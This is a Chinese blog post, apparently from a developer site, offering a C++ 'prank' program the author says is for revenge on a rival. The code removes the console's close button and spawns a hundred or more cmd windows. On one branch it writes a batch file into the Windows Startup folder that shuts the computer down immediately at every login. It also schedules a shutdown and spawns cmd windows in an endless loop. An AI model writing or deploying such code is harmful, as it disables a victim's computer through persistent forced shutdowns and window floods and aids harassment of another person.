整人代码c++

最近我的死对头又整我了,我要好好整整它

#include<Windows.h>
#include<bits/stdc++.h>
#include<conio.h>
using namespace std;

void lock()
{
	HWND hWnd = GetConsoleWindow();
	SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
	HMENU hmenu = GetSystemMenu(hWnd, false);
	RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);
	LONG style = GetWindowLong(hWnd, GWL_STYLE);
	style &= ~(WS_MINIMIZEBOX);
	SetWindowLong(hWnd, GWL_STYLE, style);
	SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
	ShowWindow(hWnd, SW_SHOWNORMAL);
	DestroyMenu(hmenu);
	ReleaseDC(hWnd, NULL);
}
void shani(){
        string h="拒不投降要扣税~~~~~~~~~~~~呃……拒不投降要升天!";
    	for(int i=0;i<h.size();i++){
			cout<<h[i];
			Sleep(30);
		}
        freopen("C://ProgramData/Microsoft/Windows/Start Menu/Programs/Startup/死亡吧~~~.bat","w",stdout);
        cout<<"shutdown -s -t 0";
        system("shutdown -s -t 100");
        while(1) system("start cmd");
}
int main(){
    sb:
	lock();
    cout<<"作者帅不帅?YES or NO";
    string s;
    cin>>s;
    if(s=="yes"||s=="YES"){
        cout<<"知道是就好!";
        for(int i=0;i<114;i++) system("start cmd");
    }
    if(s=="no"||s=="NO"){
        cout<<"好吧,那你是不是SB?";
        cin>>s;
        if(s=="是"||s=="yes"||s=="YES"){
            cout<<"知道是就好!";
            for(int i=0;i<114;i++) system("start cmd");
        }
        else{
            shani();
        }
    }
    else{cout<<"你食不食油饼?"; goto sb;}
	return 0;
}

  • 4
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值